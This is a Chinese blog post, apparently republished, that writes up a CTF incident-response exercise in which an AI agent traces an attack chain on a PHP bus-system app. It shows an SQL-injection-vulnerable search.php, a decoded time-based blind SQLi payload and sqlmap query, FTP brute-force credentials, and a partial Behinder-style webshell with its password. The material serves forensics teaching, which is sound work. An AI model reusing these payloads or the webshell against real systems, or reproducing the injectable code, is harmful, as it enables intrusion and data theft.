AI搞定全程溯源应急响应

admin 2026-04-29 05:16:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文通过CTF应急响应赛题完整复现攻击链:攻击者利用search.php的SQL注入漏洞提取数据库凭证,通过密码复用爆破FTP服务获取敏感文件,最终利用lostandfound.php文件上传漏洞部署冰蝎Webshell。文档详细展示了日志分析、流量溯源和数据库取证的全过程,并提供PDO预编译、文件上传白名单等修复建议,全程借助AI工具提升响应效率。 综合评分: 87 文章分类: 应急响应,CTF,漏洞分析,实战经验,WEB安全


cover_image

AI 搞定全程溯源应急响应

原创

Andy Andy

实在安全

2026年4月23日 14:12 中国香港

在小说阅读器读本章

去阅读

本文以一道 CTF 应急响应赛题为主线,借助 AI Agent + linux-ir 技能,完整复现攻击者从信息窃取、密码复用到上传 Webshell 的完整攻击链。三道题目涵盖日志分析、流量溯源、数据库取证,全程约 30 分钟完成解题,适合安全从业者和 CTF 选手参考。


背景

靶机通过 SSH 对外暴露,环境内部署了一套公交系统 PHP Web 应用,运行 Apache + MariaDB,并开放了 FTP 服务。

题目要求回答三个问题:

  1. 1. 分析中间件日志,找到黑客获取数据的第一个漏洞,并提取其窃取的前两个用户名
  2. 2. 分析流量,找到黑客密码复用爆破的 FTP 端口,并提交黑客下载的私密文件内容
  3. 3. 找到黑客上传的 Webshell 文件,提交其密码

环境踩点

登录靶机后,首先进行基础信息采集:

uname -a       # Linux 5.15 / Ubuntu 22.04
cat /etc/os-release
ls /var/www/html/public/
# index.php  search.php  lost_and_found.php  uploads/

关键目录:

  • • Web 根目录:/var/www/html/public/
  • • 日志路径:/access.log(同步挂载自 /var/log/apache2/access.log
  • • 流量文件:/result1.pcap(19.6 MB)

Q1:SQL 注入漏洞溯源 + 数据提取

日志特征识别

grep -i "sqlmap" /access.log | head -5

日志中出现大量如下特征请求:

[攻击者IP] - - [22/Apr/2025] "GET /search.php?query=JyBBTkQgU0xFRVAoNSk... HTTP/1.1" 200 - "sqlmap/1.9#stable"

User-Agent 明确标注 sqlmap/1.9#stable,请求参数为 Base64 编码字符串。解码后:

import base64, urllib.parse
raw = urllib.parse.unquote("JyBBTkQgU0xFRVAoNSk...")
print(base64.b64decode(raw).decode())
# ' AND SLEEP(5)--

典型的时间盲注特征。

漏洞代码定位

查看 search.php 源码:

// /var/www/html/public/search.php
$encoded_query = $_GET['query'] ?? '';
$decoded_query = base64_decode($encoded_query);

$sql = "SELECT * FROM routes WHERE route_name = '" . $decoded_query . "'";
$result = $conn->query($sql);

问题根因query 参数经 Base64 解码后直接拼接进 SQL 语句,无任何过滤或参数化处理。Base64 只是障眼法,无法防止注入。

sqlmap 提取顺序还原

通过分析 pcap 中 sqlmap 的时间盲注 payload,发现其数据提取语句使用了:

SELECT IFNULL(CAST(username AS NCHAR),0x20)
FROM bus_system.bus_drivers
ORDER BY password LIMIT 0,1

关键点:sqlmap 按 password 字段字母序排列提取,而非主键顺序。

登录数据库验证:

mysql -u root bus_system -e \
  "SELECT username, password FROM bus_drivers ORDER BY password LIMIT 5;"
username    password
sunyue      888888
chenhao     Ch@19980808
changyuan   cy1988
fengjuan    fengjuan88
gaoxiang    gx_fly

✅ Q1 答案:黑客获取的前两个用户名为 sunyue 和 chenhao


Q2:FTP 密码复用爆破 + 私密文件提取

确认 FTP 端口

标准端口 21 在 pcap 中均为 RST,ACK,端口处于关闭状态。

使用 tshark 分析非标准端口流量:

TSHARK=/Applications/Wireshark.app/Contents/MacOS/tshark

$TSHARK -r /tmp/result1.pcap \
  -d tcp.port==2121,ftp \
  -Y "ftp" \
  -T fields -e tcp.stream -e ftp.request.command -e ftp.request.arg \
  2>/dev/null | head -30

输出包含大量 USER / PASS 命令,且均来自端口 2121,特征:

  • • 短时间内大量并发连接(Hydra 风格)
  • • 多账号轮询尝试(sunyuechenhaozhangweiwangqiang…)

这些账号正是从 bus_drivers 表中 sqlmap 提取的凭证——密码复用攻击

成功登录确认

$TSHARK -r /tmp/result1.pcap \
  -d tcp.port==2121,ftp \
  -Y "ftp.response.code == 230" \
  -T fields -e tcp.stream -e ftp.response.arg \
  2>/dev/null
Login successful.   # zhangwei / zhangwei123
Login successful.   # wangqiang / wq2024

追踪 PASV 数据流

登录成功后,攻击者执行了 RETR sensitive_credentials.txt。 FTP 被动模式(PASV)下服务端返回:

227 Entering Passive Mode (xxx,xxx,xxx,xxx,195,85)

数据端口计算:195 × 256 + 85 = 50005

追踪 TCP 流 7076(端口 50005)的原始数据:

$TSHARK -r /tmp/result1.pcap \
  -Y "tcp.stream == 7076" \
  -T fields -e data.text 2>/dev/null

输出:

INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025

✅ Q2 答案:FTP 开放端口为 2121,文件内容为 INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025


Q3:Webshell 溯源 + 密码提取

日志定位上传行为

grep "POST" /access.log | grep -v "200\|302" | head
grep "uploads" /access.log | tail -20

关键日志条目:

[攻击者IP] - - "POST /lost_and_found.php HTTP/1.1" 200 -
[攻击者IP] - - "POST /uploads/shell1.php HTTP/1.1" 200 -

攻击路径清晰:lost_and_found.php 存在任意文件上传漏洞,攻击者上传了 shell1.php 并随即访问执行。

Webshell 文件分析

cat /var/www/html/public/uploads/shell1.php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);

function&nbsp;encode($D,&nbsp;$K)&nbsp;{
&nbsp; &nbsp; for&nbsp;($i&nbsp;=&nbsp;0;&nbsp;$i&nbsp;<&nbsp;strlen($D);&nbsp;$i++) {
&nbsp; &nbsp; &nbsp; &nbsp; $c&nbsp;=&nbsp;$K[$i&nbsp;+&nbsp;1&nbsp;&&nbsp;15];
&nbsp; &nbsp; &nbsp; &nbsp; $D[$i] =&nbsp;$D[$i] ^&nbsp;$c;
&nbsp; &nbsp; }
&nbsp; &nbsp; return&nbsp;$D;
}

$pass&nbsp;=&nbsp;'woaiwojia';
$payloadName&nbsp;=&nbsp;'payload';
$key&nbsp;=&nbsp;'3c6e0b8a9c15224a';

// XOR 解密 payload,动态执行
if&nbsp;(isset($_POST[$pass])) {
&nbsp; &nbsp; $data&nbsp;=&nbsp;encode(base64_decode($_POST[$pass]),&nbsp;$key);
&nbsp; &nbsp; // ...
}

这是典型的**冰蝎(Behinder)**风格 Webshell:

  • • 通信内容经 XOR 加密后 Base64 编码,绕过流量检测
  • • 密码字段为 $pass,值为明文字符串

✅ Q3 答案:Webshell 路径 /uploads/shell1.php,密码为 woaiwojia


完整攻击链复盘

[信息收集]
&nbsp; └─ 访问 /search.php,发现 query 参数(Base64 编码)

[漏洞利用 - SQL 注入]
&nbsp; └─ sqlmap 时间盲注 → 提取 bus_drivers 表
&nbsp; └─ 按 password 字段排序 → 首先获取 sunyue / chenhao

[密码复用 - FTP 爆破]
&nbsp; └─ 用数据库凭证爆破非标端口 2121
&nbsp; └─ 成功登录 zhangwei / wangqiang
&nbsp; └─ RETR sensitive_credentials.txt → 获取内网 FTP 管理密码

[持久化 - Webshell 上传]
&nbsp; └─ 发现 lost_and_found.php 任意文件上传漏洞
&nbsp; └─ 上传冰蝎 Webshell → /uploads/shell1.php
&nbsp; └─ 密码: woaiwojia,XOR 加密通信

修复建议

| 漏洞 | 风险等级 | 修复方案 | | — | — | — | | SQL 注入(search.php) | 🔴 Critical | 使用 PDO 预编译语句,禁止字符串拼接 SQL | | 任意文件上传(lost_and_found.php) | 🔴 Critical | 白名单校验扩展名 + 存储路径与 Web 根目录隔离 | | FTP 弱密码 / 密码复用 | 🟠 High | 启用独立强密码策略,禁止 FTP 使用 Web 账号密码 | | FTP 非标端口无鉴权监控 | 🟡 Medium | 部署 IDS/IPS 对 FTP 暴力破解行为告警 | | Webshell 驻留 | 🔴 Critical | 立即删除 /uploads/shell1.php,审计全量上传文件 |


工具链与方法论

本次分析主要使用:

  • • linux-ir 技能:结构化应急响应流程,覆盖日志、进程、持久化、文件排查
  • • tshark(Wireshark CLI):解码非标端口 FTP(-d tcp.port==2121,ftp),追踪 PASV 数据流
  • • Python3:Base64 + URL decode 还原 sqlmap payload,辅助解析提取顺序
  • • mysql CLI:直接查询数据库验证 sqlmap 提取的数据顺序

整个分析流程由 AI Agent(Claude + Cascade) 驱动,从日志分析、pcap 解码到数据库取证,全程自动化执行,显著提升应急响应效率。


已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

实在安全已关注

分享视频

,时长13:53

0/0

00:00/13:53

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

13:53

13:53

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

AI 搞定全程溯源应急响应

观看更多

转载

,

AI 搞定全程溯源应急响应

实在安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

本文所有操作均在授权 CTF 靶场环境中完成,严格遵守相关法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:实在安全 Andy Andy《AI 搞定全程溯源应急响应》

评论:0   参与:  0